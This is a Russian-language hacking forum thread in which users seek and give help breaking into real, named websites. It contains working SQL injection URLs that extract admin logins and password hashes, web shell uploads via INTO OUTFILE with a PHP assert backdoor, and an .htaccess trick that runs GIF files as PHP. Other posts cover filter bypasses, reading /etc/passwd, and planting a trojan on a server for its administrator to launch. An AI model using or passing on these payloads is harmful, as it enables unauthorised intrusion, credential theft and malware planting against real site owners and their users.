Ваши вопросы по уязвимостям.

[GOGA075]

Bb0y дай линк почитать, а то я такого не знаю...

[FlaktW]

FlaktW у тебя же есть логин и пароль от админки...
тут никаких проблем нету..
Это хеш можно два года брутить.

[Bb0y]

2GOGA075
https://forum.antichat.ru/thread35207.html
https://forum.antichat.ru/thread119047.html
https://www.hackzone.ru/articles/view/id/7925/
тут подробнее от Qwazar http://qwazar.ru/?p=7

[qq6ka]

Ищу пути. В /etc/init.d/apache есть

APACHE_HOME=/usr/apache
CONF_FILE=/etc/apache/httpd.conf
RUNDIR=/var/run/apache
PIDFILE=${RUNDIR}/httpd.pid
TOMCAT_CF=/var/apache/tomcat/conf/server.xml
TOMCAT55_CF=/var/apache/tomcat55/conf/server.xml

Но!
/etc/apache/httpd.conf, /var/apache/tomcat55/conf/server.xml - не читаются, видимо прав не хватает.

Кто с TOMCAT 5.5 работал, подскажите где ещё посмотреть полезную инфу.

[GOGA075]

кто подскажет как в это
http://www.rsgt.com/press_releases1_more.php?id=-19+union+select+1,2,3,4,5,6,7,8

воткнут такой запрос
UPDATE `users` SET `user_pwd` = '048bc95b24facd7dc82937fa99e81389' WHERE `id` =6 LIMIT 1 ;

и вообще это реально?

[I love this game]

есть доступ к админке, через картинки не получилось залить шелл, но можно бекап бд и востановление бд, подскажите какой запрос нужно сделать что бы через востановление бд залить шелл

[pinch]

заливай .htaccess

[I love this game]

можно подробнее?

[GOGA075]

I love this game через восстановление БД тебе нужно знать путь корневой корректории.
а запрос
select '<? assert(stripslashes($_REQUEST[cmd])); ?>' into outfile '/home/WWW/shell.php';

[I love this game]

Но можно ж вроде через sql открыть phpinfo и оттуда уже узнаю диру?

[pinch]

пиши в файл .htaccess:
AddHandler application/x-httpd-php .gif

потом заливай свой шелл изменив расширение на gif

[GOGA075]

phpinfo можно поискать на сервере, ибо некоторые админы его туда зачем то пихают!
через sql можно узнать в том случае если админ не отключил показ ошибок... тогда и покажет дерректорию!

[I love this game]

Ну вот пример для phpbb UPDATE phpbb_users SET user_sig_bbcode_uid='(.+)/e\0', user_sig='phpbb:phpinfo()' WHERE user_id=2;
так нельзя сделать?

пиши в файл .htaccess: AddHandler application/x-httpd-php .gif потом заливай свой шелл изменив расширение на gif

а .htaccess как залить?

[GOGA075]

I love this game я же тебе дал рабочий за запрос...
и для phpbb это не подайдет совсем!!!

[pinch]

ну если .htaccess не заливается то пиццец этому способу

[I love this game]

я понял, что мне не поможет от phpbb я просто пример привел, но у ведь путей не знаю, ошибки не показывают!

[GOGA075]

pinch ну это не сильно распространенный способ!

I love this game попробуй поискать на сервере рhpinfо.php или что то подобное,
а так же советую пошарить на других сайтах этого сервера!
И попробуй переименовать шел в shell.php$20.gif и залить это, может прокатить!

[I love this game]

Только jpg, но там еще стоит ограничение на размер и вроде переименовывает файл само!

не получлилось

[FlaktW]

Вопрос! Можно ли вывести из таблицы ADMIN, через information_schema, значения колонок USERNAME,PASSWORD?

id=-11'+union+select+1,concat_ws(0x3a,USERNAME,PASSWOR D),3,4,5,6,7,8,9,10,11,12+from+information_schema. tables+where+table_name=0x41444d494e+--+

[CyberHunter]

Вопрос! Можно ли вывести из таблицы ADMIN, через information_schema, значения колонок USERNAME,PASSWORD?

id=-11'+union+select+1,concat_ws(0x3a,USERNAME,PASSWOR D),3,4,5,6,7,8,9,10,11,12+from+information_schema. tables+where+table_name=0x41444d494e+--+
Хм.. Странный вопрос. Наверное можно, если там есть такие колонки.

[FlaktW]

Хм.. Странный вопрос. Наверное можно, если там есть такие колонки.

Колонки такие есть, а запрос не знаю, как составить.

[GOGA075]

FlaktW
зачем тебе именно через information_schema выводить??
information_schema и есть таблица.. и ничего от туда кроме имен не выведешь...
Проше сделать прямой запрос, чем так извращатся!!

[FlaktW]

FlaktW
зачем тебе именно через information_schema выводить??
information_schema и есть таблица.. и ничего от туда кроме имен не выведешь...
Проше сделать прямой запрос, чем так извращатся!!

Надо поизвращаться, прямой запрос не проходит!

[[Feldmarschall]]

FlaktW
information_schema и есть таблица..

не таблица, а содержащая информацию о структуре баз данных.

[Farboud]

подскажите каким образом реализовать пассивную XSS
usersearch.php?em="><script>alert(/XSS/)</script> в поле Email, я примерно знаю, но никак не получается реализовать, если можно, то попобробней!

[jecka3000]

подскажите каким образом реализовать пассивную XSS
usersearch.php?em="><script>alert(/XSS/)</script> в поле Email, я примерно знаю, но никак не получается реализовать, если можно, то попобробней!

https://forum.antichat.ru/thread20140.html

[Bb0y]

2FlaktW, возможно в таблице нет выборки

[FlaktW]

2FlaktW, возможно в таблице нет выборки

Разобрался, в регистре была причина.

Всем спасибо за помощь!

[Irdis]

несколько вопросов
1.
section=113+union+select 1 from w
на что получаю ответ.
DB Error: Table 'xxx.w' doesn't exist....
Смысл ошибки понятен, но почему такое странное имя таблицы, если я выбирал из w?

2. .... INTO Outfile char(11,22)
почему это ошибка, char вроде должен возвращать строку

3. server version for the right syntax to use near ''(две кавычки) at line 1
Ответ от БД, если вставляю кавычку в запрос. Почему такое происходит? Есть ли возможность это обойти?

[Twoster]

Разобрался, в регистре была причина.

Всем спасибо за помощь!
Покажи плиз запрос, которым ты вывел данные.

[Konqi]

несколько вопросов
1.
section=113+union+select 1 from w
на что получаю ответ.
DB Error: Table 'xxx.w' doesn't exist....
Смысл ошибки понятен, но почему такое странное имя таблицы, если я выбирал из w?

2. .... INTO Outfile char(11,22)
почему это ошибка, char вроде должен возвращать строку

3. server version for the right syntax to use near ''(две кавычки) at line 1
Ответ от БД, если вставляю кавычку в запрос. Почему такое происходит? Есть ли возможность это обойти?

1.xxx это имя текущей базы

2. в запросе into outfile char не катит

3.кавычки фильтруются,синтаксическа� � ошибка mysql

[mailbrush]

Konqi, а нажать кнопочку "Edit" религия не позволяет?

PS: FlaktW, насколько я знаю, в MySQL регистр не важен.

[v1d0qz]

FlaktW
information_schema и есть таблица..
Проше сделать прямой запрос, чем так извращатся!!
\']не таблица, а содержащая информацию о структуре баз данных.
Если быть точнее, то это БД => база данных :)


Вопрос! Можно ли вывести из таблицы ADMIN, через information_schema, значения колонок USERNAME,PASSWORD?

id=-11'+union+select+1,concat_ws(0x3a,USERNAME,PASSWOR D),3,4,5,6,7,8,9,10,11,12+from+information_schema. tables+where+table_name=0x41444d494e+--+

Хм.. Странный вопрос. Наверное можно, если там есть такие колонки.

FlaktW
зачем тебе именно через information_schema выводить??
information_schema и есть таблица.. и ничего от туда кроме имен не выведешь...
Проше сделать прямой запрос, чем так извращатся!!

Надо поизвращаться, прямой запрос не проходит!

Вот эта переписка, вообще как будто из фильма "Чужие 3".
Самое главное пытаются использвать "умные" слова, но по смыслу такой чес получается. А самое печальное, что на глупый вопрос, другие вроде бы не глупые люди (хотя может я ошибаюсь), пытаются найти глупый ответ.

Покажи плиз запрос, которым ты вывел данные.

На баш хочешь? :)

зы. Как я понял, правильный запрос был такой.
union+select+1,concat_ws(0x3a,username,password),3 ,4,5,6,7,8,9,10,11,12+from+admin, т.е. в нижнем регистре. Но то как искали решение, меня просто убило :)

[z-kzn-z]

подскажите, пожалуйста.
на сервере IIS, и, как я понял, ODBC (вообщем, там MySQL).

myguild.asp?gid=2779-1 - не проходит
myguild.asp?gid=2779' - ошибка:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[MySQL][ODBC 3.51 Driver][mysqld-5.0.24a]You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''' at line 1

/myguild/myguild_common.asp, line 7

myguild.asp?gid=2779+order+by+1/* - проходит
myguild.asp?gid=2779+order+by+1-- - не проходит, т.е. -- фильтрует, а /* нет.

Но когда я делаю такое: myguild.asp?gid=2779+union+select+1/* , сервер выдает алерт:

Alert
Your request triggered an alert! If you feel that you have received this page in error, please contact the administrator of this web site.

что можно сделать?

[Bb0y]

2z-kzn-z, https://forum.antichat.ru/thread30501.html
это не MySQL, a MSSQL, другой синтаксис

[z-kzn-z]

2z-kzn-z, https://forum.antichat.ru/thread30501.html
это не MySQL, a MSSQL, другой синтаксис
хм, а почему тогда
[MySQL][ODBC 3.51 Driver][mysqld-5.0.24a]You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''' at line 1?

[Jokester]

Значит так, дорогие друзья. Мы тут почитали посты за сегодняшний день, и я решил ужесточить на время летних каникул модерацию данного топика.
В связи с этим знаменательным событием прошу постоянных читателей и писателей думать что вы пишите, а в часности:
Задающим вопросы - воспользоваться поиском и что-то сначала почитать
Отвечающим на вопросы - хорошенько подумать перед ответом. Не нужно показывать свою некомпетентность и писать ОХИНЕЮ отвечая на вопросы, я буду расценивать это как подрыв доверия к форуму в целом (вот такой я наркоман !)

===============================================
Далее, хотелось-бы услышать пояснения к некоторым ответам. В часности:

И попробуй переименовать шел в shell.php$20.gif и залить это, может прокатить!
поясните пожалуйста, что это за конструкция
Хм.. Странный вопрос. Наверное можно, если там есть такие колонки.
вот структура INFORMATION_SCHEMA, где там прячутся те поля, которые он хочет вывести?
http://www.rldp.ru/mysql/mysqlpro/schema.htm
Колонки такие есть, а запрос не знаю, как составить.
то-же самое, где там они, покажите пожалуйста
2FlaktW, возможно в таблице нет выборки
Эээ?
Разобрался, в регистре была причина.
Всем спасибо за помощь!
ЧТО ТУТ ПРОИСХОДИТ??777!!!

===========================

Это подборка только за сегодняшний вечер!

Вобщем если это будет продолжаться, не обижайтесь на меня =\

[Bb0y]

Действительно. Не дочитал мессагу до конца

[v1d0qz]

подскажите, пожалуйста.
на сервере IIS, и, как я понял, ODBC (вообщем, там MySQL).

myguild.asp?gid=2779-1 - не проходит
myguild.asp?gid=2779' - ошибка:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[MySQL][ODBC 3.51 Driver][mysqld-5.0.24a]You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''' at line 1

/myguild/myguild_common.asp, line 7

myguild.asp?gid=2779+order+by+1/* - проходит
myguild.asp?gid=2779+order+by+1-- - не проходит, т.е. -- фильтрует, а /* нет.

Но когда я делаю такое: myguild.asp?gid=2779+union+select+1/* , сервер выдает алерт:

Alert
Your request triggered an alert! If you feel that you have received this page in error, please contact the administrator of this web site.

что можно сделать?

Если ты хочешь скрыть линк, то скрывай как полагается. Лугл палит :(


Именно в этом запросе, что ты указал, крути как UPDATE;

http://hero2.eamobile.co.kr/myguild/myguild.asp?gid=474-1&lid=867&page=1

Сайт ватовый, нашел по быстрому блинд (с выводом нету время искать). Там действительно mysql. Но в теории под игру стоит ещё и mssql.

http://hero2.eamobile.co.kr/community.asp?cid=86488+and+substring(version(),1, 1)=5&page=1

зы. Jokester, теперь я опередил твою мысль. Правда я решил не цитировать Bb0y, вроде как парень старается (в плане на форуме), но видимо не понял что от него хотел ТС, а ты я вижу никого не пожалел. Ну и ладно...

[Irdis]

3.кавычки фильтруются,синтаксическа� � ошибка mysql

3. хм... я всегда думал, что кавычки фильтруются на уровне кода, который посылает запросы(а не на уровне БД). А как тогда они составляют запросы, если кавычки не допустимы (понятно что можно обойтись в больших кол-вах случаев и без них, но это же убого)?

[z-kzn-z]

Если ты хочешь скрыть линк, то скрывай как полагается. Лугл палит :(

Именно в этом запросе, что ты указал, крути как UPDATE;

http://hero2.eamobile.co.kr/myguild/myguild.asp?gid=474-1&lid=867&page=1

Сайт ватовый, нашел по быстрому блинд (с выводом нету время искать). Там действительно mysql. Но в теории под игру стоит ещё и mssql.

http://hero2.eamobile.co.kr/community.asp?cid=86488+and+substring(version(),1, 1)=5&page=1

зы. Jokester, теперь я опередил твою мысль. Правда я решил не цитировать Bb0y, вроде как парень старается, но видимо упустил мысль ТС, а ты я вижу никого не пожалел. Ну и ладно...

да если бы сильно хотел, скрыл бы)
спасибо, буду искать

[DeluxeS]

//Решено

[v1d0qz]

Имеем шелл WSO 2.3, подключился к БД MySQL...
Цель: изменить 1 поле , сменить несколько цифр....
http://gyazo.com/fd1f51d574487c7a1bc79e8f1b4f7422.png
Где начинается "Привет.." Это поле и надо изменить, как сделать с помощью данного шелла?
Спасибо.

http://dev.mysql.com/doc/refman/5.0/en/update.html

Все гениальное - просто.

[GOGA075]

DeluxeS в WSO нет функции изменения, тебе нужен phpmyadmin или што то подобное...

ищи и качай Adminer - Compact MySQL management
хорошая штука!

[DeluxeS]

DeluxeS в WSO нет функции изменения, тебе нужен phpmyadmin или што то подобное...

ищи и качай Adminer - Compact MySQL management
хорошая штука!
Большое спасибо, отличная вещь, ещё раз спасибо :)

[qq6ka]

Я сейчас задам тупой вопрос. Залил шелл на Windows NT 5.2. Но процесс повышения прав в Windows - тёмный лес для меня.

Кто может помочь - стукните в аську 3765431-четые-9

[FlaktW]

Покажи плиз запрос, которым ты вывел данные.

Браузер вывел следующие таблицы:

www.site.com/abstract.php?abstract=-1531'+union+select+1,group_concat(0x0b,table_name) ,3,4,5,6,7,8,9,10,11,12+from+information_schema.ta bles+--+

ADMIN,
ALERT,
AUTHORS,
EDITORS,
IPS,
MYPICS,
ONLINE,
ORDERS,
PAGES,

Все таблицы в верхнем регистре.


При таком запросе ничего не выводится.

www.site.com/abstract.php?abstract=-1531'+union+select+1,count(*),3,4,5,6,7,8,9,10,11, 12+from+ADMIN+--+

Вводим имя таблицы в нижний регистре, все выводится.

www.site.com/abstract.php?abstract=-1531'+union+select+1,count(*),3,4,5,6,7,8,9,10,11, 12+from+admin+--+

[Ctacok]

Браузер вывел следующие таблицы:

www.site.com/abstract.php?abstract=-1531'+union+select+1,group_concat(0x0b,table_name) ,3,4,5,6,7,8,9,10,11,12+from+information_schema.ta bles+--+

ADMIN,
ALERT,
AUTHORS,
EDITORS,
IPS,
MYPICS,
ONLINE,
ORDERS,
PAGES,

Все таблицы в верхнем регистре.


При таком запросе ничего не выводится.

www.site.com/abstract.php?abstract=-1531'+union+select+1,count(*),3,4,5,6,7,8,9,10,11, 12+from+ADMIN+--+

Вводим имя таблицы в нижний регистре, все выводится.

www.site.com/abstract.php?abstract=-1531'+union+select+1,count(*),3,4,5,6,7,8,9,10,11, 12+from+admin+--+
А ты недумал что например, в css стоит что все слова под определённым дивом определённого размера? (Т.е. в верхнем, что в нижнем текст одинаковый).

[Pashkela]

PS: FlaktW, насколько я знаю, в MySQL регистр не важен.

Важен, зайди в phpmyadmin и набери:

select user from mysql.USER

и сразу станет понятно

[Iceangel_]

Важен, зайди в phpmyadmin и набери:

select user from mysql.USER

и сразу станет понятно
зашел и все норм вывело ;)

Вообще, чувствительность к регистру(при указании имени базы или таблицы) у мускула зависит от платформы. В большинстве случаев, в Linux регистр играет роль, в Windows и Mac OS напротив.

[Pashkela]

2 Iceangel_:

Согласен

[FlaktW]

зашел и все норм вывело ;)

Вообще, чувствительность к регистру(при указании имени базы или таблицы) у мускула зависит от платформы. В большинстве случаев, в Linux регистр играет роль, в Windows и Mac OS напротив.

Вот инфа этого сайта. Линк дать немогу, так как сайт очень интересный.

5.0.51A:REWER:REWER@LOCALHOST:SUSE-LINUX-GNU

[POloid]

кто подскажет как в это
http://www.rsgt.com/press_releases1_more.php?id=-19+union+select+1,2,3,4,5,6,7,8

воткнут такой запрос
UPDATE `users` SET `user_pwd` = '048bc95b24facd7dc82937fa99e81389' WHERE `id` =6 LIMIT 1 ;

и вообще это реально?

[Bb0y]

2POloid
http://www.rsgt.com/press_releases1_more.php?id=19+and+substring(@@ver sion,1,1)=5+--
крути как blind

http://www.rsgt.com/press_releases1_more.php?id=19+AND+ascii(lower(sub string((select+user_pwd+from+users),1,1)))%3E52+-- => первый символ хэша = "5"
http://www.rsgt.com/press_releases1_more.php?id=19+AND+ascii(lower(sub string((select+user_pwd+from+users),2,1)))%3E101+-- => второй символ хэша = "f"
и т.д.

[Ctacok]

2POloid
http://www.rsgt.com/press_releases1_more.php?id=19+and+substring(@@ver sion,1,1)=5+--
крути как blind

http://www.rsgt.com/press_releases1_more.php?id=19+AND+ascii(lower(sub string((select+user_pwd+from+users),1,1)))%3E52+-- => первый символ хэша = "5"
http://www.rsgt.com/press_releases1_more.php?id=19+AND+ascii(lower(sub string((select+user_pwd+from+users),2,1)))%3E101+-- => второй символ хэша = "f"
и т.д.
Не, ну это не по пацански.
http://www.rsgt.com/press_releases1_more.php?id=-19+or(1,1)=(select+count(0),concat((select+user_pw d+from+users+limit+0,1),floor(rand(0)*2))from(info rmation_schema.tables)group+by+2)--+
5f0210ed3fa1e3301e5fac5928cc9712

Стоп, я тоже мудак дезинформатор.
http://www.rsgt.com/press_releases1_more.php?id=-19+union+select+1,2,unhex(hex(concat_ws(0x3a,user_ pwd))),4,5,6,7,8+from+users

2 Ruller, я заметил что там блайнд, вот и начал выпендриваться. А токо ща заметил что там обыкновенная скуля. (Без твоего поста (!) )

[RulleR]

Bb0y, Ctacok WTF?!
http://www.rsgt.com/press_releases1_more.php?id=-19+union+select+1,2,3,4,aes_decrypt(aes_encrypt(us er_pwd,1),1),6,7,8+from+usersкто подскажет как в это
http://www.rsgt.com/press_releases1_more.php?id=-19+union+select+1,2,3,4,5,6,7,8

воткнут такой запрос
UPDATE `users` SET `user_pwd` = '048bc95b24facd7dc82937fa99e81389' WHERE `id` =6 LIMIT 1 ;

и вообще это реально?нет

[GOGA075]

Bb0y ты видишь функцию UPDATE, речь идет не о извлечении хеша из БД, а изменении его с помощью запроса!!

[pinch]

даа видно все сходят с ума

[v1d0qz]

Эммм....Вывели 3-ма разными способами 1 скулю... Очень оригинально.. Завтра он задаст такой же вопрос, только уже в другом месте. Одни понты :(

Вот инфа этого сайта. Линк дать немогу, так как сайт очень интересный.

5.0.51A:REWER:REWER@LOCALHOST:SUSE-LINUX-GNU

Нy просто о_Oчень интересный сайт... Продавай шелл > покупай квартиру.
http://www.eje.cz/scripts/viewabstract.php?abstract=-1531'+union+select+group_concat(jmeno,0x3a,passwor d),2,3,4,5,6,7,8,9,10,11,12+from+admin--+
=> 101111 1100001 1100100 1101101 1101001 1101110 1110011 101111

[qq6ka]

Я сейчас задам тупой вопрос. Залил шелл на Windows NT 5.2. Но процесс повышения прав в Windows - тёмный лес для меня.

Кто может помочь - стукните в аську 3765431-четые-9

актуально.

[попугай]

актуально.


Смотря какой вебсервер. Если Apache, то обычно его пускают от системного юзверя - можно телнет открыть или даже RemoteDesctop. Если IIS, то права обычно обрезаны по максимуму, а новых сплойтов почти и нет в паблике.

[qq6ka]

Смотря какой вебсервер. Если Apache, то обычно его пускают от системного юзверя - можно телнет открыть или даже RemoteDesctop. Если IIS, то права обычно обрезаны по максимуму, а новых сплойтов почти и нет в паблике.


Microsoft-IIS/6.0

Правки файлов сайтов нет. Могу диски смотреть, править файлы в корне C:\. Всё через ж***, короче.

[DrakonSerg]

Apache/1.3.27 (Unix) (Red-Hat/Linux) FrontPage/5.0.2.2626 mod_ssl/2.8.12 OpenSSL/0.9.6b PHP/4.3.11 mod_perl/1.27 - вот такая система есть у меня. Апач довольно старый, подозреваю, что есть сплойты под него. Только найти не могу.
фтп - Version wu-2.6.2(1)
ssh - SSH-1.99-OpenSSH_3.1p1
подкиньте идейку или рабочий сплойт. В идеале мне нужна MySQL база, но мскл инъекций на сайте не обнаружено. Если достану базу - отблагодарю

[попугай]

Microsoft-IIS/6.0

Правки файлов сайтов нет. Могу диски смотреть, править файлы в корне C:\. Всё через ж***, короче.


Попробуй в корень диска C:/ троян записать. Вдруг админ решит запустить. Или autoexec поправить.

[exT1ma4ka]

подскажите пожалуйста как залить шелл.

ситуация такая: mysql стоит на одной машинке, сайт на другой (хостинг) - есть sql-inj дырка. INTO OUTFILE применить не получится исходя из выше-сказанного (mysql на отдельной машине).

по крайней мере пытался, но пишет:

Error 1: Can't create/write to file '/var/www/пам/data/www/парам/uploads/shell.php' (Errcode: 2)

[FlaktW]

Фильтруется select, как обойти?

http://www.albumband.cz/pisen.php?id=1+union+select+1,2,3,4,5,6,7+--+

[qq6ka]

Попробуй в корень диска C:/ троян записать. Вдруг админ решит запустить. Или autoexec поправить.

Ну в теории можно залить ***.exe в веб-папку + правка C:\AUTOEXEC.BAT возможна. Только это нужно троя искать/покупать не палящегося + заставить админа перезагрузить сервер.

Попугай, тебе не нужен шелл? Мне лень возиться.

[Pashkela]

Фильтруется select, как обойти?

http://www.albumband.cz/pisen.php?id=1+union+select+1,2,3,4,5,6,7+--+

select не фильтруется:


http://www.albumband.cz/pisen.php?id=1+and+substring((select+version()),1, 1)=5


фильтруется кое-что другое ;)

[RulleR]

Фильтруется select, как обойти?

http://www.albumband.cz/pisen.php?id=1+union+select+1,2,3,4,5,6,7+--+http://www.albumband.cz/pisen.php?id=-1+union%0aselect+1,version(),3,4,5,6,7,8upd: + читалка файлов в 8 полеhttp://www.albumband.cz/pisen.php?id=-1+union%0aselect+1,version(),3,4,5,6,7,0x2e2e2f706 973656e2e706870

[FlaktW]

http://www.albumband.cz/pisen.php?id=-1+union%0aselect+1,version(),3,4,5,6,7,8upd: + читалка файлов в 8 полеhttp://www.albumband.cz/pisen.php?id=-1+union%0aselect+1,version(),3,4,5,6,7,0x2e2e2f706 973656e2e706870

Буду обращаться к вам за советами.

[GOGA075]

помогите расскрутить это
http://www.hausderkunst.de/hdk.de/index.php?StoryID=-999999

[Konqi]

ребят вот такой вопрос :

имеется сервер Microsoft-IIS/7.0, язык asp

База : PostgreSQL

через функции Postgre хотел читать файл C:\boot.ini,файл не открылся..(strange strange strange)

просто из за интереса попробовал читать файл /etc/passwd (ну я знаю что в винде такого нету)

и файл открылся!!

как это понять?

реально ли использовать IIS под никcом??

[SeNaP]

помогите расскрутить это
http://www.hausderkunst.de/hdk.de/index.php?StoryID=-999999
http://www.hausderkunst.de/hdk.de/index.php?StoryID=-2+union+select+TABLE_NAME+from+INFORMATION_SCHEMA. TABLES+limit+1,1--
Перебирай limit'ом

[pinch]

как узнать полный путь в никсе имеется возможность читать файлы sql запросом?

[wildshaman]

как узнать полный путь в никсе имеется возможность читать файлы sql запросом?
google.ru
site:yourvulnsite.com warning

И в найденных ошибках будет путь

[pinch]

вывод ошибок отключен + через google пробовал

[wildshaman]

Попробовать найти phpinfo, пооткрывать просто .php файлы без параметров, попроболвать найти раскрытие путей - [] и так далее

[pinch]

сайт на asp, инклуда нет раскрытие тож

[qq6ka]

как узнать полный путь в никсе имеется возможность читать файлы sql запросом?

читай конфиги. Вот тема https://forum.antichat.ru/threadnav49775-4-10.html

[Konqi]

Попробовать найти phpinfo, пооткрывать просто .php файлы без параметров, попроболвать найти раскрытие путей - [] и так далее

шаман это тот самый сайт o котором я писал выше,сайт на asp, нужно узнать полный путь чтоб залить шелл

[Ctacok]

ребят вот такой вопрос :

имеется сервер Microsoft-IIS/7.0, язык asp

База : PostgreSQL

через функции Postgre хотел читать файл C:\boot.ini,файл не открылся..(strange strange strange)

просто из за интереса попробовал читать файл /etc/passwd (ну я знаю что в винде такого нету)

и файл открылся!!

как это понять?

реально ли использовать IIS под никcом??
Ты сам себе ответил.
Фильтруется select, как обойти?

http://www.albumband.cz/pisen.php?id=1+union+select+1,2,3,4,5,6,7+--+
http://www.albumband.cz/mysql.cfg
:D Давно такого не видел :)

[Konqi]

Ctacok что предлагаешь? можно как-нибудь узнать путь до сайта?

[Konqi]

попробуй удаленно подрубится.

можно по конкретнее :)

[Konqi]

пхп май админ поищи, или попытайся удаленно подключится к мускулу...

там Postgre :)

[Ctacok]

Ctacok что предлагаешь? можно как-нибудь узнать путь до сайта?
Дак там же ошибка есть, /web/htdocs/albumbandcz/www/pisen.php

[Konqi]

Дак там же ошибка есть, /web/htdocs/albumbandcz/www/pisen.php


man ты а каком сайте говоришь? я вроде не постил имя сайта :)

[Ctacok]

man ты а каком сайте говоришь? я вроде не постил имя сайта :)
-----ЭТО ИЗОБРАЖЕНИЕ-----
http://gyazo.com/1f93b413c233da5e309f4247ef61c132.png
-----ЭТО ИЗОБРАЖЕНИЕ-----
Да и я вроде не тебе писал про тот сайт ;)
Скинь адрес сайта в личку, гляну.

[попугай]

ребят вот такой вопрос :

имеется сервер Microsoft-IIS/7.0, язык asp

База : PostgreSQL

через функции Postgre хотел читать файл C:\boot.ini,файл не открылся..(strange strange strange)

просто из за интереса попробовал читать файл /etc/passwd (ну я знаю что в винде такого нету)

и файл открылся!!

как это понять?

реально ли использовать IIS под никcом??


Postgres на другом серваке работает, наверное.

[Konqi]

Postgres на другом серваке работает, наверное.

попугай здесь проблема не в этом, в админку не входит (403) , остается версия шелла..

на сервере других сайтов нету,вывод ошибок отключено..

можно ли узнать полный путь до сайта?


Скинь адрес сайта в личку, гляну

oga

[EoGeneo]

http://www.zone403.ru/club.php?id=-100 - помогите скулю крутануть

[GOGA075]

Почему запрос к MsSql &Pd=1+or+1=@@version проходит
а &Pd=1+or+1=(select db_name())
уже нет???
ничего не выдает и редирект сразу!

[Bb0y]

2GOGA075, Возможно скобки фильтруются
2EoGeneo, хм, скули не вижу

[GOGA075]

Bb0y как это можно обойти??
И когда делаю запрос &Pd=1+or+1=()
редиректа нету, я не думаю что все таки фильтруются!!

[Bb0y]

2GOGA075, скинь линк в лс, посмотрю

[Ctacok]

Почему запрос к MsSql &Pd=1+or+1=@@version проходит
а &Pd=1+or+1=(select db_name())
уже нет???
ничего не выдает и редирект сразу!
Да select фильтруется.
Если не скобки, то что ещё там может фильтроваться? seLEcT попробуй вбить. // Постом отправить.

[GOGA075]

Ctacok Смена больших и маленьких букв не помогла, все равно переносит на главную!

[BlackFan]

Эксперементирую с group by rand()...

На 5 версии
select count(0) from table group by concat(version(),x)x = floor(rand(0)*2) или rand(0)|0 или rand(0)&1 или rand()^0
выдает Duplicate entry
x = rand(0)
выполняется без ошибок.

Решил проверить на 4 версии. (Проверял на сайте http://decanat5.ssau.ru/search_student в sql-inj)
И вот тут результаты просто поставили в ступор
' union select 1,count(*),3 from student group by concat(version(),rand(0))/*Выдает Duplicate entry, а
' union select 1,count(*),3 from student group by concat((select 1),rand(0))/*нет. В то время как
' union select 1,count(*),3 from student group by concat(version(),(select 1),rand(0))/*выдает Duplicate entry, а
' union select 1,count(*),3 from student group by concat(version(),(select studentid from student limit 1),rand(0))/*нет.

Так вот вопрос)
1) Почему на 4 версии иногда прокатывает с rand(0), а на 5, сколько не пытался, так и не получилось
2) Почему с floor(rand(0)*2) прокатывает всегда, а с теми же rand(0)|0 работает только на 5 версии
3) Почему вот такой запрос не выдает ошибку, не смотря на то что там floor(rand(0)*2)
' and (1) = (select count(*) from student group by floor(rand(0)*2))/*

[jecka3000]

GOGA075, пробуй что то типа этого:

?id=(1)and(1)=(0)union(select(null),table_name,(nu ll)from(information_schema.tables)limit 28,1--)

[GOGA075]

jecka3000 тоже никакой реакции...

[EoGeneo]

Парни, дайте покурить маны по поводу заливки шшела в булку 3.8.4

[v1d0qz]

Эксперементирую с group by rand()...

На 5 версии
select count(0) from table group by concat(version(),x)x = floor(rand(0)*2) или rand(0)|0 или rand(0)&1 или rand()^0
выдает Duplicate entry
x = rand(0)
выполняется без ошибок.

Решил проверить на 4 версии. (Проверял на сайте http://decanat5.ssau.ru/search_student в sql-inj)
И вот тут результаты просто поставили в ступор
' union select 1,count(*),3 from student group by concat(version(),rand(0))/*Выдает Duplicate entry, а
' union select 1,count(*),3 from student group by concat((select 1),rand(0))/*нет. В то время как
' union select 1,count(*),3 from student group by concat(version(),(select 1),rand(0))/*выдает Duplicate entry, а
' union select 1,count(*),3 from student group by concat(version(),(select studentid from student limit 1),rand(0))/*нет.

Так вот вопрос)
1) Почему на 4 версии иногда прокатывает с rand(0), а на 5, сколько не пытался, так и не получилось
2) Почему с floor(rand(0)*2) прокатывает всегда, а с теми же rand(0)|0 работает только на 5 версии
3) Почему вот такой запрос не выдает ошибку, не смотря на то что там floor(rand(0)*2)
' and (1) = (select count(*) from student group by floor(rand(0)*2))/*

1) На 5, работает практически так же, как и на 4, попадется пример, скину в пм.
2) Самый вероятный вариант, это то, что в 4 версии, символ "|" интерпретируется иначе.
3) По поводу почему у тебя выдает ошибку в случаях, когда её быть не должно. Я полагаю, в union select у тебя идет объединение колонки studentid, которая уже используется в запросе, в результате чего union со своим свойством делейт-дубликат конфликтует и возвращает false в массив, По сути потому что у тебя идёт повторная выборка. Как-то так :)

[EoGeneo]

Подскажите. есть ли тут скуля ?
http://www.territory.ru/info/news/index.php?show=news&id=-2984

[Irdis]

Подскажите. есть ли тут скуля ?
в параметрах show=news&id=-2984 точно нет.

[exT1ma4ka]

подскажите пожалуйста как залить шелл.

ситуация такая: mysql стоит на одной машинке, сайт на другой (хостинг) - есть sql-inj дырка. INTO OUTFILE применить не получится исходя из выше-сказанного (mysql на отдельной машине).

по крайней мере пытался, но пишет:

Error 1: Can't create/write to file '/var/www/пам/data/www/парам/uploads/shell.php' (Errcode: 2)
актуально )

[Konqi]

актуально )


залей шелл в папку /tmp , и ищи инклуд на сайте

[qq6ka]

Есть сайт с именем третьего уровня sub.domain.com
Этот сайт на инъекцию реагирует ошибкой "E:\inetpub\wwwroot\___\___\index.php" и север показывает Microsoft-IIS/7.5
Но ОС, показываемая инъекцией - REDHAT-LINUX-GNU, я могу читать/etc/passwd и пр.

У головняка второго уровня (domain.com) ИП отличается от первого. Сервер Apache/2.2.3 (Red Hat). Его файлы я, видимо, и читаю.

И что-то я нихрена не пойму как это устроено. Может кто объяснить?

[exT1ma4ka]

в /tmp/ тоже не льёт. в любые сайтовые пути не льёт. зато, например, C:\SQL - спокойно заливает. или любой другой виндовский путь, а всё потому что Mysql на винде, а сайт на линуксе. что делать в таком случае ?

[EoGeneo]

Есть сайт с именем третьего уровня sub.domain.com
Этот сайт на инъекцию реагирует ошибкой "E:\inetpub\wwwroot\___\___\index.php" и север показывает Microsoft-IIS/7.5
Но ОС, показываемая инъекцией - REDHAT-LINUX-GNU, я могу читать/etc/passwd и пр.

